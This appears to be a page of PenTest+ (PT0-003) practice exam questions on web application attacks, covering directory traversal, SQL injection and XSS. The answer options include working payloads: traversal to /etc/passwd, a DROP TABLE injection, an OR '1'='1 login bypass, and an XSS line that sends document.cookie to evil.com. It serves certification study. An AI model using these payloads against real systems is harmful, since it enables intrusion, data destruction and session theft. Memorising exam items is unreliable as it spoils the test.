Web Application Attacks PT0-003 Practice Questions (Page 4)

Questions 16–20

1. 16foundation · easy

   Which of the following payloads is commonly used to exploit a directory traversal vulnerability on a Linux web server?

   • AGET /admin HTTP/1.1
   • B'; DROP TABLE users; --
   • C../../../../etc/passwd
   • D<script>alert('XSS')</script>
   Reveal Solution Discussion Select an answer first
2. 17foundation · easy

   What is the primary reason SQL injection is considered a critical web application vulnerability?

   • AIt allows an attacker to modify the client-side JavaScript code executed in a user's browser.
   • BIt exploits a misconfigured web server to list directory contents and expose sensitive files.
   • CIt enables an attacker to inject malicious SQL statements into a query, potentially allowing unauthorized data access or manipulation.
   • DIt tricks users into revealing their credentials by presenting a fake login page.
   Reveal Solution Discussion Select an answer first
4. 18foundation · easy

   What is the primary purpose of using URL encoding (e.g., %2e%2e%2f) in a directory traversal attack?

   • ATo ensure the payload is compatible with all web browsers.
   • BTo bypass input filters that block literal '../' sequences.
   • CTo make the request faster by reducing the number of characters.
   • DTo encrypt the payload so that it cannot be read by network monitors.
   Reveal Solution Discussion Select an answer first
5. 19foundation · easy

   Which of the following payloads would be most effective for stealing a user's session cookie via a reflected XSS vulnerability?

   • A<script>window.location='https://evil.com'</script>
   • B<script>alert('XSS')</script>
   • C<script>fetch('https://evil.com/steal?c='+document.cookie)</script>
   • D<img src=x onerror=alert(1)>
   Reveal Solution Discussion Select an answer first
6. 20application · medium

   A penetration tester is assessing a web application that uses a login form. The tester submits `admin' OR '1'='1` in the username field and `' OR '1'='1` in the password field, and successfully gains access to an administrative account. Which of the following is the MOST likely reason this attack succeeded?

   • AThe application stores passwords in plaintext and the tester guessed the correct credentials.
   • BThe application concatenates user input directly into a SQL query without parameterization.
   • CThe application has a cross-site scripting vulnerability that allowed the tester to steal the admin session cookie.
   • DThe application uses a NoSQL database that does not validate input types.
   Reveal Solution Discussion Select an answer first